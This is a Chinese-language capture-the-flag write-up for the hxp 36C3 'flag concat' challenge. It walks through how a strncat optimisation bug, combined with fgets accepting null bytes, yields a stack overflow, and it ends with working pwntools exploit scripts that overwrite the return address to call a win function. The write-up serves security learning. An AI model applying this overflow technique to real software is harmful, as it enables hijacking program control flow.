36C3 CTF 之 flag concat

本题源自2019年36C3 CTF,解法是由strncat函数的SSE优化产生的bug导致的栈溢出

题目

CTF time: flag concat

给了源码如下:

// gcc -no-pie -o vuln vuln.c

#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct{
	char s1[0x400];
	char s2[0x200];
	char *concatenated_s3;
} packed_strings;

packed_strings strings;

void win(){
	printf("Debug mode activated!\n");
	system("cat flag.txt");
}

void do_strncat(){
	int output_len = 0;
	char *start_s1 = NULL;
	char *start_s2 = NULL;

	printf("First Flag:\n");
	fgets(strings.s1, 0x100, stdin);
	printf("Second Flag:\n");
	fgets(strings.s2, 0x100, stdin);

	printf("1: %s\n",strings.s1);
	printf("2: %s\n",strings.s2);

	output_len = strlen(strings.s1) + strlen(strings.s2);
	char s3[output_len+1];
	strings.concatenated_s3 = s3;

	printf("Going to output %i bytes max!\n", output_len);

	start_s1 = strstr(strings.s1, "hxp{");
	start_s2 = strstr(strings.s2, "hxp{");

	printf("3: %s\n",strings.s1);
	printf("4: %s\n",strings.s2);

	if(!start_s1){
		start_s1 = strings.s1;
	}
	if(!start_s2){
		start_s2 = strings.s2;
	}

	printf("5: %s\n",strings.s1);
	printf("6: %s\n",strings.s2);

	strncat(start_s1, start_s2, SIZE_MAX);
	printf("7: %s\n",strings.s1);
	printf("8: %s\n",strings.s2);
	strcpy(strings.concatenated_s3, start_s1);

	printf("%s\n", strings.concatenated_s3);
}

int main(){
	setbuf(stdout, NULL);
	setbuf(stdin, NULL);
	printf("Welcome to the hxp flag concat protocol server!\n");
	do_strncat();
	return 0;
}

二进制文件checksec,没有canary,没有PIE:

➜  checksec vuln
[*] '/Users//Desktop/ctf/36c3/flag/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

功能看起来就是把flag1和flag2合并输出:

Welcome to the hxp flag concat protocol server!
First Flag:
flag1
Second Flag:
flag2
Going to output 12 bytes max!
flag1
flag2

分析

看到有后门函数,所以肯定要劫持程序流,没看到什么堆操作的方法,应该也没有什么奇怪的函数指针,加上没有PIE和canary,所以大概率估计是栈溢出。分析一下程序逻辑:

fgets

typedef struct{
	char s1[0x400];
	char s2[0x200];
	char *concatenated_s3;
} packed_strings;

packed_strings strings;

全局变量中放了个结构体,没初始化,所以在bss段,然后在do_strncat函数中,对这个bss段数据进行输入:

printf("First Flag:\n");
fgets(strings.s1, 0x100, stdin);
printf("Second Flag:\n");
fgets(strings.s2, 0x100, stdin);

可见是用的fgets函数进行输入的,这个函数输入的结束是换行符,可以输入00(字符的结束标志),并且会在输入后添加00,利用man命令查到手册:

fgets()  reads  in  at most one less than size characters from stream and stores them into
the buffer pointed to by s.  Reading stops after an EOF or a newline.   If  a  newline  is
read,  it  is  stored into the buffer.  A terminating null byte ('\0') is stored after the
last character in the buffer.

编写了一个测试程序:

#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct{
	char s1[0x400];
	char s2[0x200];
	char *concatenated_s3;
} packed_strings;

packed_strings strings;

void debug(char * random){
    for(int i=0;i<0x120;i++){
        if((i%8==0) && (i!=0)){
                printf(" ");
               }
        if((i%16==0) && (i!=0)){
            printf("\n");
        }
        printf("%02X ",random[i]);
    }
    printf("\n\n");
}

int main ()
{
    printf("First Flag:\n");
   	memset(strings.s1,17,0x120);
	fgets(strings.s1, 0x100, stdin);
	printf("strlen: %d\n",strlen(strings.s1));
    debug(strings.s1);
	return 0;
}
 python -c "print 'a'*0xfd" | ./test
First Flag:
strlen: 254
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 0A 00 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11


  python -c "print 'a'*0xfe" | ./test
First Flag:
strlen: 255
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 0A 00  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11 


  python -c "print 'a'*0xff" | ./test
First Flag:
strlen: 255
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 00  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11 


  python -c "print 'a'*0x110" | ./test
First Flag:
strlen: 255
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 00  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11 

  python -c "print 'a'*0x10+'\x00'+'b'*0xf" | ./test
First Flag:
strlen: 16
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
00 62 62 62 62 62 62 62  62 62 62 62 62 62 62 62  
0A 00 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11 

可见fgets函数是可以输入00的,并且会在最大输入处截断然后添加00。

strlen

然后会通过strlen函数计算出两个输入的长度,strlen函数以00作为字符串结标志。然后动态分配栈上的内存,原理是alloca系统调用

output_len = strlen(strings.s1) + strlen(strings.s2);
char s3[output_len+1];
strings.concatenated_s3 = s3;
printf("Going to output %i bytes max!\n", output_len);

这段IDA结果如下:

v5 = strlen(strings);
v0 = strlen(haystack);
v8 = v5 + v0;
v1 = v5 + v0 + 1;
v7 = v1 - 1LL;
v2 = alloca(16 * ((v1 + 15LL) / 0x10uLL));

可见这个里开的栈的大小是根据strlen算的,而输入数据是通过fgets输入的,fget可以输入00,所以可以输入多一点而把栈开小一点,然后想办法之后在把长度搞回来然后栈溢出

strstr

这里通过strstr函数寻找到hxp{这个字符串在输入中的位置,然后把指针指过去,如果没找到strstr会返回空,所以题目中也做了相应的处理,让指针指向我们输入的数据的开头,到目前位置程序中鼓捣的数据还都是在bss段中的全局变量,还没往栈上倒腾呢。

start_s1 = strstr(strings.s1, "hxp{");
start_s2 = strstr(strings.s2, "hxp{");

printf("3: %s\n",strings.s1);
printf("4: %s\n",strings.s2);

if(!start_s1){
    start_s1 = strings.s1;
}
if(!start_s2){
    start_s2 = strings.s2;
}

strncat

然后利用strncat函数把刚才两个指针指向的数据拼起来,这个函数也是用00作为字符串的结束标志,然后在最后添加00。

strncat(start_s1, start_s2, SIZE_MAX);
printf("7: %s\n",strings.s1);
printf("8: %s\n",strings.s2);

strcpy

最后利用strcpy,把刚才合并完的数据拷贝到栈上

strcpy(strings.concatenated_s3, start_s1);

奇怪的strncat

这里总共利用了如下函数:

  • fgets
  • strlen
  • strstr
  • strncat
  • strcpy

overlap

fgets的确可以输入00然后让栈空间开的小一点,不过通过strlen算出的长度并不会计算我们在fgets中输入的00后面的数据,后面的四个字符串处理函数也都是用00作为字符串结束的标志,所以感觉没有什么可以溢出的点。但是后来我发现了一个bug,我修改我自己的测试程序如下,把自己拼接到自己后面:

#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct{
	char s1[0x400];
	char s2[0x200];
	char *concatenated_s3;
} packed_strings;

packed_strings strings;

void debug(char * random){
    for(int i=0;i<0x120;i++){
        if((i%8==0) && (i!=0)){
                printf(" ");
               }
        if((i%16==0) && (i!=0)){
            printf("\n");
        }
        printf("%02X ",random[i]);
    }
    printf("\n\n");
}


int main ()
{
    printf("First Flag:\n");
   	memset(strings.s1,17,0x120);
	fgets(strings.s1, 0x100, stdin);
	printf("strlen: %d\n",strlen(strings.s1));
	printf("strstr: %d\n",strstr(strings.s1, "hxp{"));
	printf("strncat: %s\n",strncat(strings.s1, strings.s1, SIZE_MAX));
	debug(strings.s1);
	return 0;
}

输入一个a没啥毛病:

  python -c "print 'a'*1" | ./test 
First Flag:
strlen: 2
strstr: 0
strncat: a
a

61 0A 61 0A 00 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11 

但是当输入超过16个a时,最后的一个本应该被添加的00阶段却被换成了a这个字符

  flag python -c "print 'a'*16" | ./test
First Flag:
strlen: 17
strstr: 0
strncat: aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa
a(一堆不可显示字符,即后面的11
61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
0A 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  
61 0A 61 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11

查到在strncat的man手册中有这么一句:

The strings  may  not  overlap, and the dest string must have enough space for the result. 
If dest is not large enough,  program  behavior  is  unpredictable.

如果目标和源重叠了则结果不可预测,所以这里的bug是因为我用strncat函数的源和目的是同一个指针,很显然题目并不满足这个条件。

截断

发现输入跟hxp{有关的字符会被截断,而且通过调试发现就是strncat截断的:

➜ python -c "print 'a\n'+'1hxp{2hxp{3hxp{4hxp{5hxp{6hxp{7hxp{8hxp{9hxp{10hxp{'" | ./vuln
Welcome to the hxp flag concat protocol server!
First Flag:
Second Flag:
Going to output 54 bytes max!
a
hxp{2hxp{3hxp{4hxp{5hxp{6hxp{7hxp{8hxp{

不过,这里还是拷贝少了,所以并不会溢出,我们的目标是让他拷贝多一点,向刚才overlap的情景,即把strncat后面加的00搞没,这样就会拷贝输入1后面的数据,可能就会栈溢出,咋整呢?我也不知道,直到发现下面的bug

多拷贝5个字节

Bug 19390 - Integer overflow in strncat

参考这个bug我们发现,的确可能存在拷贝多的情景,不过这个例子并没有把00干掉,而是覆盖00后面的5个字节,对于我们好像并没有什么卵用。不过继续瞎调试:

#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct{
	char s1[0x400];
	char s2[0x200];
	char *concatenated_s3;
} packed_strings;

packed_strings strings;

void debug(char * random){
    for(int i=0;i<0x120;i++){
        if((i%8==0) && (i!=0)){
                printf(" ");
               }
        if((i%16==0) && (i!=0)){
            printf("\n");
        }
        printf("%02X ",random[i]);
    }
    printf("\n\n");
}


int main ()
{
    printf("First Flag:\n");

   	memset(strings.s1,17,0x120);
	fgets(strings.s1, 0x100, stdin);

    memset(strings.s2,34,0x120);
    fgets(strings.s2, 0x100, stdin);

	printf("strlen: %d\n",strlen(strings.s1));
	printf("strstr: %d\n",strstr(strings.s1, "hxp{"));
	printf("strncat: %s\n",strncat(strings.s1, strings.s2+2, SIZE_MAX));
	debug(strings.s1);
	return 0;
}

我们发现当strncat第二个参数是一个数据的不对齐偏移时,某些输入就可能把00干掉:

  python -c "print 'a'+'\n'+'b'*46" | ./test
First Flag:
strlen: 2
strstr: 0
strncat: a
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

61 0A 62 62 62 62 62 62  62 62 62 62 62 62 62 62  
62 62 62 62 62 62 62 62  62 62 62 62 62 62 62 62  
62 62 62 62 62 62 62 62  62 62 62 62 62 62 0A 00  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11 

  python -c "print 'a'+'\n'+'b'*47" | ./test
First Flag:
strlen: 2
strstr: 0
strncat: a
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

61 0A 62 62 62 62 62 62  62 62 62 62 62 62 62 62  
62 62 62 62 62 62 62 62  62 62 62 62 62 62 62 62  
62 62 62 62 62 62 62 62  62 62 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11  
11 11 11 11 11 11 11 11  11 11 11 11 11 11 11 11 

exp

参考刚才方式,利用strstr函数输入hxp{把第二个参数的指针指向偏移2,然后还是在输入2处输入40+6=46个字节发现正常

  python -c "print '\x00'+'f'*250+'\n'+'11hxp{'+'a'*40" | ./vuln
Welcome to the hxp flag concat protocol server!
First Flag:
Second Flag:
Going to output 47 bytes max!
hxp{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

然后输入41+6=47个字节发现00没了:

  python -c "print '\x00'+'f'*250+'\n'+'11hxp{'+'a'*41" | ./vuln
Welcome to the hxp flag concat protocol server!
First Flag:
Second Flag:
Going to output 48 bytes max!
hxp{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

[1]    43533 done                              python -c "print '\x00'+'f'*250+'\n'+'11hxp{'+'a'*41" | 
       43534 segmentation fault (core dumped)  ./vuln

所以利用fgets可以输入00,填满输入1后面的字节,企图栈开的小一点,然后覆盖多一点,再利用偏移2和47个字节干掉00:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
myelf = ELF("./vuln")
io = process(myelf.path)
gdb.attach(io,"b * 0x40098c\r\nc\r\nstack 40")
#io = remote('78.47.126.177',7777)
flag1 = '\x00'+'f'*250+'\n'
flag2 = '11hxp{'+'a'*41+'\n'
io.recv()
io.send(flag1)
io.recv()
io.send(flag2)
io.interactive()

发现的确可以覆盖了返回地址!

[-------------------------------------code-------------------------------------]
   0x400987 <do_strncat+434>:	pop    r14
   0x400989 <do_strncat+436>:	pop    r15
   0x40098b <do_strncat+438>:	pop    rbp
=> 0x40098c <do_strncat+439>:	ret    
   0x40098d <main>:	push   rbp
   0x40098e <main+1>:	mov    rbp,rsp
   0x400991 <main+4>:	
    mov    rax,QWORD PTR [rip+0x2006e8]        # 0x601080 <stdout@@GLIBC_2.2.5>
   0x400998 <main+11>:	mov    esi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7ffd7f9a4768 ('f' <repeats 67 times>, "\n")
0008| 0x7ffd7f9a4770 ('f' <repeats 59 times>, "\n")
0016| 0x7ffd7f9a4778 ('f' <repeats 51 times>, "\n")
0024| 0x7ffd7f9a4780 ('f' <repeats 43 times>, "\n")
0032| 0x7ffd7f9a4788 ('f' <repeats 35 times>, "\n")
0040| 0x7ffd7f9a4790 ('f' <repeats 27 times>, "\n")
0048| 0x7ffd7f9a4798 ('f' <repeats 19 times>, "\n")
0056| 0x7ffd7f9a47a0 ('f' <repeats 11 times>, "\n")

计算覆盖长度:250-67=183

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
myelf = ELF("./vuln")
io = process(myelf.path)
gdb.attach(io,"b * 0x40098c\r\nc\r\nstack 40")
#io = remote('78.47.126.177',7777)
flag1 = '\x00'+'f'*183+'xuaxuan'+'\n'
flag2 = '11hxp{'+'a'*41+'\n'
io.recv()
io.send(flag1)
io.recv()
io.send(flag2)
io.interactive()

成功

   0x400987 <do_strncat+434>:	pop    r14
   0x400989 <do_strncat+436>:	pop    r15
   0x40098b <do_strncat+438>:	pop    rbp
=> 0x40098c <do_strncat+439>:	ret    
   0x40098d <main>:	push   rbp
   0x40098e <main+1>:	mov    rbp,rsp
   0x400991 <main+4>:	
    mov    rax,QWORD PTR [rip+0x2006e8]        # 0x601080 <stdout@@GLIBC_2.2.5>
   0x400998 <main+11>:	mov    esi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fff7f4a3ff8 ("xuaxuan\n")

最终exp如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
myelf = ELF("./vuln")
io = process(myelf.path)
#gdb.attach(io,"b * 0x40098c\r\nc\r\nstack 40")
#io = remote('78.47.126.177',7777)
flag1 = '\x00'+'f'*183+p64(myelf.symbols['win'])+'\n'
flag2 = '11hxp{'+'a'*41+'\n'
io.recv()
io.send(flag1)
io.recv()
io.send(flag2)
io.interactive()

比赛时瞎调出来的exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
myelf = ELF("./vuln")
io = process(myelf.path)
#io = remote('78.47.126.177',7777)
flag1 = '\x00'+'f'*246+'\x01\xb6\x07\x40\x00\x00\x00\x00'
flag2 = 'a'*79+'hxp{'+'a'*35+'\n'
io.recv()
io.send(flag1)
io.recv()
io.send(flag2)
io.interactive()

image

原理

有关SSE优化,并不是很懂,这里还用了什么xmm寄存器,也不是很懂:hxpctf 2019 - flag concat (244pt)